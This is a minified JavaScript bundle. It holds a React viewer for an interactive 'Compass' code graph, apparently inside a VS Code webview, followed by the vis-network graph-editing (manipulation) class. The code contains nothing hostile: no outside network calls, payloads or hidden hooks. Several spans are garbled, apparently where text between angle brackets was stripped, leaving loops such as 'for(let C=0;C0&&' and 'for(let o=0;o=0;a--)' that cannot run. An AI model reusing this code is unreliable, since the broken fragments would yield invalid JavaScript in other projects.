s=o.change??"unchanged",a=e.get(s)??[];a.push(o),e.set(s,a)}const t={added:-300,changed:0,removed:300,unchanged:0},i=new Map,C=Math.PI*(3-Math.sqrt(5));for(const[o,s]of e)s.forEach((a,l)=>{const u=l*C,h=o==="unchanged"?210+Math.sqrt(l)*34:42+Math.sqrt(l)*40;i.set(a.id,{x:t[o]+Math.cos(u)*h,y:Math.sin(u)*h})});return i}function iQ(){const[n,e]=oe.useState(0);return oe.useEffect(()=>{const t=()=>e(o=>o+1),i=new MutationObserver(t);i.observe(document.documentElement,{attributes:!0,attributeFilter:["class","style"]}),i.observe(document.body,{attributes:!0,attributeFilter:["class","style"]});const C=window.matchMedia("(prefers-color-scheme: dark)");return C.addEventListener("change",t),()=>{i.disconnect(),C.removeEventListener("change",t)}},[]),n}function Ou(n){const e=n.match(/^#([\da-f]{3}|[\da-f]{6})$/i)?.[1];if(e){const i=e.length===3?[...e].map(C=>`${C}${C}`).join(""):e;return[Number.parseInt(i.slice(0,2),16),Number.parseInt(i.slice(2,4),16),Number.parseInt(i.slice(4,6),16)]}const t=n.match(/^rgba?\(\s*([\d.]+)[,\s]+([\d.]+)[,\s]+([\d.]+)/i);if(t)return[Number.parseFloat(t[1]??"0"),Number.parseFloat(t[2]??"0"),Number.parseFloat(t[3]??"0")]}function nQ(n,e,t){const i=Ou(n),C=Ou(e);if(!i||!C)return e;const o=i.map((s,a)=>Math.round(s*(1-t)+C[a]*t));return`rgb(${o[0]}, ${o[1]}, ${o[2]})`}function AQ(n){const e=Ou(n);return e?(e[0]*299+e[1]*587+e[2]*114)/1e3<145:!0}function pr(n,e,t,i=!1){return{background:nQ(n,e,i?t?.18:.1:t?.26:.14),border:e}}const CQ=oe.forwardRef(function({model:e,focusedNodeId:t,physicsRunning:i,forceLabels:C,hiddenCommunities:o,hiddenChanges:s,onFocus:a,onOpenSource:l,onHover:u,onClear:h,onStabilized:p},m){const v=oe.useRef(null),w=oe.useRef(null),[N,x]=oe.useState(null),D=oe.useRef(null),k=oe.useRef(i);k.current=i;const V=oe.useRef(null),L=iQ(),Q=oe.useMemo(()=>Math.max(1,...e.nodes.map(b=>b.degree??1)),[e.nodes]),ne=oe.useMemo(()=>Jg("--vscode-editor-foreground","#eef5ff"),[L]),J=oe.useMemo(()=>Jg("--vscode-descriptionForeground","#60728b"),[L]),le=oe.useMemo(()=>Jg("--vscode-editor-foreground","#eef5ff"),[L]),ze=oe.useMemo(()=>Jg("--vscode-editor-background","#08111f"),[L]),Fe=oe.useMemo(()=>Jg("--vscode-font-family","system-ui"),[L]),H=oe.useMemo(()=>{const b=Jg("--vscode-editor-background","#08111f"),z=AQ(b);return{added:pr(b,Jg("--vscode-gitDecoration-addedResourceForeground",z?"#56d364":"#1a7f37"),z),removed:pr(b,Jg("--vscode-gitDecoration-deletedResourceForeground",z?"#ff7b72":"#cf222e"),z),changed:pr(b,Jg("--vscode-gitDecoration-modifiedResourceForeground",z?"#d7a72b":"#9a6700"),z),unchanged:pr(b,Jg("--vscode-descriptionForeground",z?"#8b949e":"#656d76"),z,!0)}},[L]),ee=oe.useMemo(()=>e.nodes.some(b=>b.change!==void 0)||e.edges.some(b=>b.change!==void 0),[e.edges,e.nodes]),Pe=oe.useMemo(()=>new Set(ee?e.nodes.filter(b=>b.change!=="unchanged").sort((b,z)=>(z.degree??0)-(b.degree??0)||b.id.localeCompare(z.id)).slice(0,12).map(b=>b.id):[]),[ee,e.nodes]),pt=oe.useMemo(()=>ee?gQ(e.nodes):new Map,[ee,e.nodes]),xe=oe.useMemo(()=>document.body.classList.contains("vscode-high-contrast")||document.body.classList.contains("vscode-high-contrast-light")?Jg("--vscode-contrastBorder","#ffffff"):void 0,[L]),R=oe.useMemo(()=>new AC(e.nodes.map(b=>{const z=b.size??Math.min(40,10+30*(b.degree??1)/Q),K=ee?b.change==="unchanged"?7+5*Math.sqrt((b.degree??1)/Q):11+12*Math.sqrt((b.degree??1)/Q):z,$=pt.get(b.id);return{id:b.id,label:b.label,color:Zw(e,b,void 0,kw),size:K,...$??{},opacity:b.change==="unchanged"?.58:1,font:{color:"#eef5ff",face:"system-ui",size:ee?Pe.has(b.id)?12:0:(b.degree??1)>=Q*.15?12:0}}})),[Pe,ee,pt,Q,e]),U=oe.useMemo(()=>new AC(e.edges.map(b=>{const z=Bw(b.change,b.confidence,"#60728b",kw);return{id:b.id,from:b.source,to:b.target,label:"",title:_w(b),dashes:z.dashes,width:z.width,...ee?{smooth:tQ(b.change)}:{},color:{color:z.color,opacity:z.opacity}}})),[ee,e.edges]),te=oe.useMemo(()=>new Map(e.edges.map(b=>[b.id,b])),[e.edges]),de=oe.useCallback(b=>{x(b)},[]),pe=oe.useCallback(()=>{x(null)},[]);return oe.useEffect(()=>{const b=v.current;if(!b)return;V.current=null;const z=new ie(b,{nodes:R,edges:U},ee?$7:J7);return z.setOptions({physics:{enabled:k.current}}),k.current||z.stopSimulation(),w.current=z,q7(z,{onFocus:a,onOpenSource:l,onHover:u,onHoverEdge:de,onBlurEdge:pe,onClear:h}),z.once("stabilizationIterationsDone",()=>{V.current={position:z.getViewPosition(),scale:z.getScale()},p()}),()=>{z.destroy(),w.current=null}},[U,R,ee,pe,de,h,a,u,l,p]),oe.useEffect(()=>{const b=w.current;b&&(b.setOptions({physics:{enabled:i}}),i?b.startSimulation():b.stopSimulation())},[U,R,i]),oe.useEffect(()=>{const b=new Set(e.nodes.filter(z=>o.has(z.community)||s.has(z.change??"unchanged")).map(z=>z.id));R.update(e.nodes.map(z=>({id:z.id,hidden:b.has(z.id)}))),U.update(e.edges.map(z=>({id:z.id,hidden:b.has(z.source)||b.has(z.target)})))},[U,s,o,e.edges,e.nodes,R]),oe.useEffect(()=>{const b=w.current;if(!b)return;const z=t?new Set(b.getConnectedNodes(t).map(String)):new Set;R.update(e.nodes.map(K=>{const $=K.id===t,he=!t||$||z.has(K.id),ye=K.change==="unchanged"?.58:1;return{id:K.id,opacity:t?he?Math.max(ye,.72):.08:ye,borderWidth:$?4:xe?2.5:1.5,color:Zw(e,K,xe,H),shadow:$?{enabled:!0,color:K.change?H[K.change].border:K.color?.background??e.communities.find(Me=>Me.id===K.community)?.color??"#76b7ff",size:24,x:0,y:0}:{enabled:!1}}})),U.update(e.edges.map(K=>{const $=Bw(K.change,K.confidence,J,H),he=K.source===t||K.target===t;return{id:K.id,dashes:$.dashes,color:{color:$.color,opacity:t?he?.92:.05:$.opacity},width:he?Math.max(3,$.width):$.width}})),t?(b.selectNodes([t]),b.focus(t,{scale:1.35,animation:window.matchMedia("(prefers-reduced-motion: reduce)").matches?!1:{duration:260,easingFunction:"easeInOutQuad"}})):b.unselectAll()},[xe,H,J,U,t,e,R]),oe.useEffect(()=>{R.update(e.nodes.map(b=>({id:b.id,font:{color:ne,size:C||b.id===t||(ee?Pe.has(b.id):(b.degree??1)>=Q*.15)?12:0}})))},[Pe,ee,t,C,ne,Q,e.nodes,R]),oe.useEffect(()=>{const b=D.current,z=[];if(b&&b!==N&&U.get(b)&&z.push({id:b,label:""}),N){const K=te.get(N);K&&W7(K,{hoveredEdgeId:N})&&z.push({id:K.id,label:_w(K),font:{align:"middle",face:Fe,size:11,color:le,background:ze,strokeWidth:0}})}z.length>0&&U.update(z),D.current=N},[U,ze,le,Fe,te,N]),oe.useImperativeHandle(m,()=>({fit(){w.current?.fit({animation:window.matchMedia("(prefers-reduced-motion: reduce)").matches?!1:{duration:280,easingFunction:"easeInOutQuad"}})},reset(){const b=w.current,z=V.current;if(b){if(!z){b.fit({animation:!1});return}b.moveTo({position:z.position,scale:z.scale,animation:!1})}}}),[]),T.jsx("div",{ref:v,className:"compass-canvas",role:"region","aria-label":"Interactive Compass code graph"})}),IQ={focusedNodeId:null,physicsRunning:!0,forceLabels:!1,hiddenCommunities:new Set,hiddenChanges:new Set,query:""};function oQ(n,e){switch(e.type){case"focus":return{...n,focusedNodeId:e.nodeId,physicsRunning:!1};case"clearFocus":return{...n,focusedNodeId:null};case"stabilized":return n.physicsRunning?{...n,physicsRunning:!1}:n;case"setPhysics":return{...n,physicsRunning:e.running};case"setLabels":return{...n,forceLabels:e.visible};case"search":return{...n,query:e.query};case"toggleCommunity":{const t=new Set(n.hiddenCommunities);return t.has(e.communityId)?t.delete(e.communityId):t.add(e.communityId),{...n,hiddenCommunities:t}}case"setHiddenCommunities":return{...n,hiddenCommunities:new Set(e.communityIds)};case"toggleChange":{const t=new Set(n.hiddenChanges);return t.has(e.change)?t.delete(e.change):t.add(e.change),{...n,hiddenChanges:t}}}}const sQ=[{value:"added",label:"Added"},{value:"removed",label:"Removed"},{value:"changed",label:"Changed"},{value:"unchanged",label:"Context"}];function rQ({model:n,host:e,communityDetail:t,communityLoading:i,communityError:C,onBackToOverview:o,sourceRevisions:s,initialInspectorLayout:a,onInspectorLayoutChange:l}){const[u,h]=oe.useState(()=>yp(a)),p=oe.useCallback(w=>{const N=yp(w);h(N),l?.(N)},[l]),m=t?.model??n,v=t?`community-${t.communityId}`:"overview";return T.jsx(aQ,{model:m,host:e,detailCommunityId:t?.communityId,communityLoading:i,communityError:C,onBackToOverview:t?o:void 0,bounded:t?.bounded,sourceRevisions:s,inspectorLayout:u,onInspectorLayoutChange:p},v)}function aQ({model:n,host:e,detailCommunityId:t,communityLoading:i,communityError:C,onBackToOverview:o,bounded:s,sourceRevisions:a,inspectorLayout:l,onInspectorLayoutChange:u}){const[h,p]=oe.useReducer(oQ,IQ),[m,v]=oe.useState(null),w=oe.useRef(null),N=oe.useRef(e);N.current=e;const x=n.nodes.find(H=>H.id===h.focusedNodeId),D=m?n.nodes.find(H=>H.id===m.nodeId):void 0,k=n.nodes.some(H=>H.change!==void 0)||n.edges.some(H=>H.change!==void 0),V=oe.useMemo(()=>{const H=new Map;for(const ee of n.nodes){const Pe=ee.change??"unchanged";H.set(Pe,(H.get(Pe)??0)+1)}return H},[n.nodes]),L=oe.useMemo(()=>{if(!x)return[];const H=new Set;for(const ee of n.edges)ee.source===x.id&&H.add(ee.target),ee.target===x.id&&H.add(ee.source);return[...H].map(ee=>n.nodes.find(Pe=>Pe.id===ee)).filter(ee=>ee!==void 0).sort((ee,Pe)=>ee.label.localeCompare(Pe.label))},[n.edges,n.nodes,x]),Q=oe.useMemo(()=>{const H=h.query.trim().toLocaleLowerCase();return H?n.nodes.filter(ee=>ee.label.toLocaleLowerCase().includes(H)||ee.source?.file.toLocaleLowerCase().includes(H)||ee.kind?.toLocaleLowerCase().includes(H)).slice(0,20):[]},[n.nodes,h.query]),ne=oe.useCallback(H=>{v(null),p({type:"focus",nodeId:H})},[]),J=oe.useCallback(()=>{v(null),p({type:"clearFocus"})},[]),le=oe.useCallback(()=>{p({type:"stabilized"})},[]),ze=oe.useCallback(H=>{const ee=n.nodes.find(pt=>pt.id===H);if(!ee)return;const Pe=cz(n,ee,t);Pe.type==="community"&&N.current.openCommunity?.(Pe.communityId),Pe.type==="source"&&N.current.openSource(Pe.source,ee.change==="removed"?a?.before:a?.after)},[t,n.nodes,n.stats.aggregated,a?.after,a?.before]),Fe=i!=null?`Loading community ${i}`:x?`Inspecting ${x.label}`:h.physicsRunning?"Layout settling":"Layout paused";return T.jsxs("div",{className:"compass-workspace","data-inspector-collapsed":l.collapsed,style:{"--compass-inspector-width":`${l.width}px`},children:[T.jsxs("main",{className:"compass-graph-stage","data-comparison":k?"true":"false",children:[T.jsx(CQ,{ref:w,model:n,focusedNodeId:h.focusedNodeId,physicsRunning:h.physicsRunning,forceLabels:h.forceLabels,hiddenCommunities:h.hiddenCommunities,hiddenChanges:h.hiddenChanges,onFocus:ne,onOpenSource:ze,onHover:v,onClear:J,onStabilized:le}),T.jsx(sz,{status:Fe,physicsRunning:h.physicsRunning,forceLabels:h.forceLabels,onTogglePhysics:()=>p({type:"setPhysics",running:!h.physicsRunning}),onFit:()=>w.current?.fit(),onReset:()=>{J(),w.current?.reset()},onToggleLabels:()=>p({type:"setLabels",visible:!h.forceLabels}),onBack:o}),k&&T.jsx("div",{className:"compass-change-legend","aria-label":"Graph change filters",children:sQ.filter(({value:H})=>(V.get(H)??0)>0).map(({value:H,label:ee})=>{const Pe=!h.hiddenChanges.has(H);return T.jsxs("button",{type:"button","data-change":H,"aria-pressed":Pe,onClick:()=>p({type:"toggleChange",change:H}),children:[T.jsx("span",{"aria-hidden":"true"}),ee,T.jsx("small",{children:V.get(H)??0})]},H)})}),C&&T.jsx("div",{className:"absolute bottom-4 left-4 z-20 max-w-md rounded-md border border-destructive/50 bg-background/95 px-3 py-2 text-sm text-destructive shadow-lg",role:"alert",children:C}),s&&T.jsxs("div",{className:"compass-bounded-notice",role:"status",children:[T.jsx("strong",{children:"Partial community comparison"}),T.jsxs("span",{children:["This view is limited to ",s.limit.toLocaleString()," nodes. Increase"," ",T.jsx("code",{children:"compass.graphNodeLimit"})," to inspect all"," ",Math.max(s.parentMembers,s.currentMembers).toLocaleString()," symbols."]})]}),m&&D&&T.jsx(dz,{node:D,hover:m})]}),!l.collapsed&&T.jsx(lz,{width:l.width,onResize:H=>u({...l,width:H})}),T.jsx(oz,{model:n,selected:x,neighbors:L,connectedEdges:x?n.edges.filter(H=>H.source===x.id||H.target===x.id):[],query:h.query,matches:Q,hiddenCommunities:h.hiddenCommunities,comparisonMode:k,sourceRevisions:a,onQueryChange:H=>p({type:"search",query:H}),onFocus:ne,onOpenSource:e.openSource,onOpenCommunity:t===void 0?e.openCommunity:void 0,onToggleCommunity:H=>p({type:"toggleCommunity",communityId:H}),onSetAllVisible:H=>p({type:"setHiddenCommunities",communityIds:H?[]:n.communities.map(ee=>ee.id)}),collapsed:l.collapsed,onToggleCollapsed:()=>u({...l,collapsed:!l.collapsed})})]})}function Pw(){const n=document.getElementById("compass-viewer-root"),e=document.getElementById("compass-viewer-model");if(!n||!e)throw new Error("Compass viewer root or model is missing");const t=PD.parse(JSON.parse(e.textContent??""));XS.createRoot(n).render(T.jsx(oe.StrictMode,{children:T.jsx(rQ,{model:t,host:{openSource(i){window.dispatchEvent(new CustomEvent("compass:open-source",{detail:i}))}}})}))}document.readyState==="loading"?document.addEventListener("DOMContentLoaded",Pw,{once:!0}):Pw()})(); +`;Ln(QK);class XK{constructor(e,t,i,C){var o,s;this.body=e,this.canvas=t,this.selectionHandler=i,this.interactionHandler=C,this.editMode=!1,this.manipulationDiv=void 0,this.editModeDiv=void 0,this.closeDiv=void 0,this._domEventListenerCleanupQueue=[],this.temporaryUIFunctions={},this.temporaryEventFunctions=[],this.touchTime=0,this.temporaryIds={nodes:[],edges:[]},this.guiEnabled=!1,this.inMode=!1,this.selectedControlNode=void 0,this.options={},this.defaultOptions={enabled:!1,initiallyActive:!1,addNode:!0,addEdge:!0,editNode:void 0,editEdge:!0,deleteNode:!0,deleteEdge:!0,controlNodeStyle:{shape:"dot",size:6,color:{background:"#ff0000",border:"#3c3c3c",highlight:{background:"#07f968",border:"#3c3c3c"}},borderWidth:2,borderWidthSelected:2}},ht(this.options,this.defaultOptions),this.body.emitter.on("destroy",()=>{this._clean()}),this.body.emitter.on("_dataChanged",Q(o=this._restore).call(o,this)),this.body.emitter.on("_resetData",Q(s=this._restore).call(s,this))}_restore(){this.inMode!==!1&&(this.options.initiallyActive===!0?this.enableEditMode():this.disableEditMode())}setOptions(e,t,i){t!==void 0&&(t.locale!==void 0?this.options.locale=t.locale:this.options.locale=i.locale,t.locales!==void 0?this.options.locales=t.locales:this.options.locales=i.locales),e!==void 0&&(typeof e=="boolean"?this.options.enabled=e:(this.options.enabled=!0,Xe(this.options,e)),this.options.initiallyActive===!0&&(this.editMode=!0),this._setup())}toggleEditMode(){this.editMode===!0?this.disableEditMode():this.enableEditMode()}enableEditMode(){this.editMode=!0,this._clean(),this.guiEnabled===!0&&(this.manipulationDiv.style.display="block",this.closeDiv.style.display="block",this.editModeDiv.style.display="none",this.showManipulatorToolbar())}disableEditMode(){this.editMode=!1,this._clean(),this.guiEnabled===!0&&(this.manipulationDiv.style.display="none",this.closeDiv.style.display="none",this.editModeDiv.style.display="block",this._createEditButton())}showManipulatorToolbar(){if(this._clean(),this.manipulationDOM={},this.guiEnabled===!0){var e,t;this.editMode=!0,this.manipulationDiv.style.display="block",this.closeDiv.style.display="block";const i=this.selectionHandler.getSelectedNodeCount(),C=this.selectionHandler.getSelectedEdgeCount(),o=i+C,s=this.options.locales[this.options.locale];let a=!1;this.options.addNode!==!1&&(this._createAddNodeButton(s),a=!0),this.options.addEdge!==!1&&(a===!0?this._createSeperator(1):a=!0,this._createAddEdgeButton(s)),i===1&&typeof this.options.editNode=="function"?(a===!0?this._createSeperator(2):a=!0,this._createEditNodeButton(s)):C===1&&i===0&&this.options.editEdge!==!1&&(a===!0?this._createSeperator(3):a=!0,this._createEditEdgeButton(s)),o!==0&&(i>0&&this.options.deleteNode!==!1?(a===!0&&this._createSeperator(4),this._createDeleteButton(s)):i===0&&this.options.deleteEdge!==!1&&(a===!0&&this._createSeperator(4),this._createDeleteButton(s))),this._bindElementEvents(this.closeDiv,Q(e=this.toggleEditMode).call(e,this)),this._temporaryBindEvent("select",Q(t=this.showManipulatorToolbar).call(t,this))}this.body.emitter.emit("_redraw")}addNodeMode(){var e;if(this.editMode!==!0&&this.enableEditMode(),this._clean(),this.inMode="addNode",this.guiEnabled===!0){var t;const i=this.options.locales[this.options.locale];this.manipulationDOM={},this._createBackButton(i),this._createSeperator(),this._createDescription(i.addDescription||this.options.locales.en.addDescription),this._bindElementEvents(this.closeDiv,Q(t=this.toggleEditMode).call(t,this))}this._temporaryBindEvent("click",Q(e=this._performAddNode).call(e,this))}editNode(){this.editMode!==!0&&this.enableEditMode(),this._clean();const e=this.selectionHandler.getSelectedNodes()[0];if(e!==void 0)if(this.inMode="editNode",typeof this.options.editNode=="function")if(e.isCluster!==!0){const t=Xe({},e.options,!1);if(t.x=e.x,t.y=e.y,this.options.editNode.length===2)this.options.editNode(t,i=>{i!=null&&this.inMode==="editNode"&&this.body.data.nodes.getDataSet().update(i),this.showManipulatorToolbar()});else throw new Error("The function for edit does not support two arguments (data, callback)")}else alert(this.options.locales[this.options.locale].editClusterError||this.options.locales.en.editClusterError);else throw new Error("No function has been configured to handle the editing of nodes.");else this.showManipulatorToolbar()}addEdgeMode(){var e,t,i,C,o;if(this.editMode!==!0&&this.enableEditMode(),this._clean(),this.inMode="addEdge",this.guiEnabled===!0){var s;const a=this.options.locales[this.options.locale];this.manipulationDOM={},this._createBackButton(a),this._createSeperator(),this._createDescription(a.edgeDescription||this.options.locales.en.edgeDescription),this._bindElementEvents(this.closeDiv,Q(s=this.toggleEditMode).call(s,this))}this._temporaryBindUI("onTouch",Q(e=this._handleConnect).call(e,this)),this._temporaryBindUI("onDragEnd",Q(t=this._finishConnect).call(t,this)),this._temporaryBindUI("onDrag",Q(i=this._dragControlNode).call(i,this)),this._temporaryBindUI("onRelease",Q(C=this._finishConnect).call(C,this)),this._temporaryBindUI("onDragStart",Q(o=this._dragStartEdge).call(o,this)),this._temporaryBindUI("onHold",()=>{})}editEdgeMode(){if(this.editMode!==!0&&this.enableEditMode(),this._clean(),this.inMode="editEdge",typeof this.options.editEdge=="object"&&typeof this.options.editEdge.editWithoutDrag=="function"&&(this.edgeBeingEditedId=this.selectionHandler.getSelectedEdgeIds()[0],this.edgeBeingEditedId!==void 0)){const s=this.body.edges[this.edgeBeingEditedId];this._performEditEdge(s.from.id,s.to.id);return}if(this.guiEnabled===!0){var e;const s=this.options.locales[this.options.locale];this.manipulationDOM={},this._createBackButton(s),this._createSeperator(),this._createDescription(s.editEdgeDescription||this.options.locales.en.editEdgeDescription),this._bindElementEvents(this.closeDiv,Q(e=this.toggleEditMode).call(e,this))}if(this.edgeBeingEditedId=this.selectionHandler.getSelectedEdgeIds()[0],this.edgeBeingEditedId!==void 0){var t,i,C,o;const s=this.body.edges[this.edgeBeingEditedId],a=this._getNewTargetNode(s.from.x,s.from.y),l=this._getNewTargetNode(s.to.x,s.to.y);this.temporaryIds.nodes.push(a.id),this.temporaryIds.nodes.push(l.id),this.body.nodes[a.id]=a,this.body.nodeIndices.push(a.id),this.body.nodes[l.id]=l,this.body.nodeIndices.push(l.id),this._temporaryBindUI("onTouch",Q(t=this._controlNodeTouch).call(t,this)),this._temporaryBindUI("onTap",()=>{}),this._temporaryBindUI("onHold",()=>{}),this._temporaryBindUI("onDragStart",Q(i=this._controlNodeDragStart).call(i,this)),this._temporaryBindUI("onDrag",Q(C=this._controlNodeDrag).call(C,this)),this._temporaryBindUI("onDragEnd",Q(o=this._controlNodeDragEnd).call(o,this)),this._temporaryBindUI("onMouseMove",()=>{}),this._temporaryBindEvent("beforeDrawing",u=>{const h=s.edgeType.findBorderPositions(u);a.selected===!1&&(a.x=h.from.x,a.y=h.from.y),l.selected===!1&&(l.x=h.to.x,l.y=h.to.y)}),this.body.emitter.emit("_redraw")}else this.showManipulatorToolbar()}deleteSelected(){this.editMode!==!0&&this.enableEditMode(),this._clean(),this.inMode="delete";const e=this.selectionHandler.getSelectedNodeIds(),t=this.selectionHandler.getSelectedEdgeIds();let i;if(e.length>0){for(let C=0;C0&&typeof this.options.deleteEdge=="function"&&(i=this.options.deleteEdge);if(typeof i=="function"){const C={nodes:e,edges:t};if(i.length===2)i(C,o=>{o!=null&&this.inMode==="delete"?(this.body.data.edges.getDataSet().remove(o.edges),this.body.data.nodes.getDataSet().remove(o.nodes),this.body.emitter.emit("startSimulation"),this.showManipulatorToolbar()):(this.body.emitter.emit("startSimulation"),this.showManipulatorToolbar())});else throw new Error("The function for delete does not support two arguments (data, callback)")}else this.body.data.edges.getDataSet().remove(t),this.body.data.nodes.getDataSet().remove(e),this.body.emitter.emit("startSimulation"),this.showManipulatorToolbar()}_setup(){this.options.enabled===!0?(this.guiEnabled=!0,this._createWrappers(),this.editMode===!1?this._createEditButton():this.showManipulatorToolbar()):(this._removeManipulationDOM(),this.guiEnabled=!1)}_createWrappers(){if(this.manipulationDiv===void 0&&(this.manipulationDiv=document.createElement("div"),this.manipulationDiv.className="vis-manipulation",this.editMode===!0?this.manipulationDiv.style.display="block":this.manipulationDiv.style.display="none",this.canvas.frame.appendChild(this.manipulationDiv)),this.editModeDiv===void 0&&(this.editModeDiv=document.createElement("div"),this.editModeDiv.className="vis-edit-mode",this.editMode===!0?this.editModeDiv.style.display="none":this.editModeDiv.style.display="block",this.canvas.frame.appendChild(this.editModeDiv)),this.closeDiv===void 0){var e,t;this.closeDiv=document.createElement("button"),this.closeDiv.className="vis-close",this.closeDiv.setAttribute("aria-label",(e=(t=this.options.locales[this.options.locale])===null||t===void 0?void 0:t.close)!==null&&e!==void 0?e:this.options.locales.en.close),this.closeDiv.style.display=this.manipulationDiv.style.display,this.canvas.frame.appendChild(this.closeDiv)}}_getNewTargetNode(e,t){const i=Xe({},this.options.controlNodeStyle);i.id="targetNode"+nC(),i.hidden=!1,i.physics=!1,i.x=e,i.y=t;const C=this.body.functions.createNode(i);return C.shape.boundingBox={left:e,right:e,top:t,bottom:t},C}_createEditButton(){var e;this._clean(),this.manipulationDOM={},tn(this.editModeDiv);const t=this.options.locales[this.options.locale],i=this._createButton("editMode","vis-edit vis-edit-mode",t.edit||this.options.locales.en.edit);this.editModeDiv.appendChild(i),this._bindElementEvents(i,Q(e=this.toggleEditMode).call(e,this))}_clean(){this.inMode=!1,this.guiEnabled===!0&&(tn(this.editModeDiv),tn(this.manipulationDiv),this._cleanupDOMEventListeners()),this._cleanupTemporaryNodesAndEdges(),this._unbindTemporaryUIs(),this._unbindTemporaryEvents(),this.body.emitter.emit("restorePhysics")}_cleanupDOMEventListeners(){for(const t of ni(e=this._domEventListenerCleanupQueue).call(e,0)){var e;t()}}_removeManipulationDOM(){this._clean(),tn(this.manipulationDiv),tn(this.editModeDiv),tn(this.closeDiv),this.manipulationDiv&&this.canvas.frame.removeChild(this.manipulationDiv),this.editModeDiv&&this.canvas.frame.removeChild(this.editModeDiv),this.closeDiv&&this.canvas.frame.removeChild(this.closeDiv),this.manipulationDiv=void 0,this.editModeDiv=void 0,this.closeDiv=void 0}_createSeperator(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:1;this.manipulationDOM["seperatorLineDiv"+e]=document.createElement("div"),this.manipulationDOM["seperatorLineDiv"+e].className="vis-separator-line",this.manipulationDiv.appendChild(this.manipulationDOM["seperatorLineDiv"+e])}_createAddNodeButton(e){var t;const i=this._createButton("addNode","vis-add",e.addNode||this.options.locales.en.addNode);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,Q(t=this.addNodeMode).call(t,this))}_createAddEdgeButton(e){var t;const i=this._createButton("addEdge","vis-connect",e.addEdge||this.options.locales.en.addEdge);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,Q(t=this.addEdgeMode).call(t,this))}_createEditNodeButton(e){var t;const i=this._createButton("editNode","vis-edit",e.editNode||this.options.locales.en.editNode);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,Q(t=this.editNode).call(t,this))}_createEditEdgeButton(e){var t;const i=this._createButton("editEdge","vis-edit",e.editEdge||this.options.locales.en.editEdge);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,Q(t=this.editEdgeMode).call(t,this))}_createDeleteButton(e){var t;let i;this.options.rtl?i="vis-delete-rtl":i="vis-delete";const C=this._createButton("delete",i,e.del||this.options.locales.en.del);this.manipulationDiv.appendChild(C),this._bindElementEvents(C,Q(t=this.deleteSelected).call(t,this))}_createBackButton(e){var t;const i=this._createButton("back","vis-back",e.back||this.options.locales.en.back);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,Q(t=this.showManipulatorToolbar).call(t,this))}_createButton(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:"vis-label";return this.manipulationDOM[e+"Div"]=document.createElement("button"),this.manipulationDOM[e+"Div"].className="vis-button "+t,this.manipulationDOM[e+"Label"]=document.createElement("div"),this.manipulationDOM[e+"Label"].className=C,this.manipulationDOM[e+"Label"].innerText=i,this.manipulationDOM[e+"Div"].appendChild(this.manipulationDOM[e+"Label"]),this.manipulationDOM[e+"Div"]}_createDescription(e){this.manipulationDOM.descriptionLabel=document.createElement("div"),this.manipulationDOM.descriptionLabel.className="vis-none",this.manipulationDOM.descriptionLabel.innerText=e,this.manipulationDiv.appendChild(this.manipulationDOM.descriptionLabel)}_temporaryBindEvent(e,t){this.temporaryEventFunctions.push({event:e,boundFunction:t}),this.body.emitter.on(e,t)}_temporaryBindUI(e,t){if(this.body.eventListeners[e]!==void 0)this.temporaryUIFunctions[e]=this.body.eventListeners[e],this.body.eventListeners[e]=t;else throw new Error("This UI function does not exist. Typo? You tried: "+e+" possible are: "+YA(Je(this.body.eventListeners)))}_unbindTemporaryUIs(){for(const e in this.temporaryUIFunctions)Object.prototype.hasOwnProperty.call(this.temporaryUIFunctions,e)&&(this.body.eventListeners[e]=this.temporaryUIFunctions[e],delete this.temporaryUIFunctions[e]);this.temporaryUIFunctions={}}_unbindTemporaryEvents(){for(let e=0;e{i.destroy()});const C=o=>{let{keyCode:s,key:a}=o;(a==="Enter"||a===" "||s===13||s===32)&&t()};e.addEventListener("keyup",C,!1),this._domEventListenerCleanupQueue.push(()=>{e.removeEventListener("keyup",C,!1)})}_cleanupTemporaryNodesAndEdges(){for(let o=0;o=0;a--)if(o[a]!==this.selectedControlNode.id){s=this.body.nodes[o[a]];break}if(s!==void 0&&this.selectedControlNode!==void 0)if(s.isCluster===!0)alert(this.options.locales[this.options.locale].createEdgeError||this.options.locales.en.createEdgeError);else{const a=this.body.nodes[this.temporaryIds.nodes[0]];this.selectedControlNode.id===a.id?this._performEditEdge(s.id,C.to.id):this._performEditEdge(C.from.id,s.id)}else C.updateEdgeType(),this.body.emitter.emit("restorePhysics");this.body.emitter.emit("_redraw")}_handleConnect(e){if(new Date().valueOf()-this.touchTime>100){this.lastTouch=this.body.functions.getPointer(e.center),this.lastTouch.translation=ht({},this.body.view.translation),this.interactionHandler.drag.pointer=this.lastTouch,this.interactionHandler.drag.translation=this.lastTouch.translation;const t=this.lastTouch,i=this.selectionHandler.getNodeAt(t);if(i!==void 0)if(i.isCluster===!0)alert(this.options.locales[this.options.locale].createEdgeError||this.options.locales.en.createEdgeError);else{const C=this._getNewTargetNode(i.x,i.y);this.body.nodes[C.id]=C,this.body.nodeIndices.push(C.id);const o=this.body.functions.createEdge({id:"connectionEdge"+nC(),from:i.id,to:C.id,physics:!1,smooth:{enabled:!0,type:"continuous",roundness:.5}});this.body.edges[o.id]=o,this.body.edgeIndices.push(o.id),this.temporaryIds.nodes.push(C.id),this.temporaryIds.edges.push(o.id)}this.touchTime=new Date().valueOf()}}_dragControlNode(e){const t=this.body.functions.getPointer(e.center),i=this.selectionHandler._pointerToPositionObject(t);let C;this.temporaryIds.edges[0]!==void 0&&(C=this.body.edges[this.temporaryIds.edges[0]].fromId);const o=this.selectionHandler._getAllNodesOverlappingWith(i);let s;for(let l=o.length-1;l>=0;l--){var a;if(Le(a=this.temporaryIds.nodes).call(a,o[l])===-1){s=this.body.nodes[o[l]];break}}if(e.controlEdge={from:C,to:s?s.id:void 0},this.selectionHandler.generateClickEvent("controlNodeDragging",e,t),this.temporaryIds.nodes[0]!==void 0){const l=this.body.nodes[this.temporaryIds.nodes[0]];l.x=this.canvas._XconvertDOMtoCanvas(t.x),l.y=this.canvas._YconvertDOMtoCanvas(t.y),this.body.emitter.emit("_redraw")}else this.interactionHandler.onDrag(e)}_finishConnect(e){const t=this.body.functions.getPointer(e.center),i=this.selectionHandler._pointerToPositionObject(t);let C;this.temporaryIds.edges[0]!==void 0&&(C=this.body.edges[this.temporaryIds.edges[0]].fromId);const 